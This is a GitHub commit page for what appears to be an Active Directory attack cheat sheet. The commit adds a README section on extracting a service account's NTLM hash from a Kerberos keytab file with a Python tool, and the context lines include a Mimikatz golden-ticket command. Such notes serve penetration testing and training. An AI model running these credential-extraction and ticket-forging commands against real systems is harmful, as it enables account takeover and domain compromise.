Skip to content

Commit

Permalink
Extract User/NTLM from keytab file
Browse files Browse the repository at this point in the history
  • Loading branch information
HitmanAlharbi authored Mar 4, 2022
1 parent 61b0b93 commit d3cd9a2
Showing 1 changed file with 17 additions and 0 deletions.
17 changes: 17 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -284,6 +284,23 @@ Invoke-Command -ComputerName UFC-JUMPSRV -Credential $cred -ScriptBlock {
kerberos::golden /user:Hitman /domain:DOMAIN /sid:DOMAIN-SID /krbtgt:HASH /ticket:tgt /ptt
```

 

**[+] Extract User/NTLM from keytab file (Linux)**

```bash
// https://github.com/sosdave/KeyTabExtract

└─# python3 keytabextract.py sql.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[!] Unable to identify any AES256-CTS-HMAC-SHA1 hashes.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
REALM : it.gcb.local
SERVICE PRINCIPAL : sqlsvc/
NTLM HASH : 7782dXXXXXXXXXXXXXXXXXXX :D
```

 
 

Expand Down

0 comments on commit d3cd9a2

Please sign in to comment.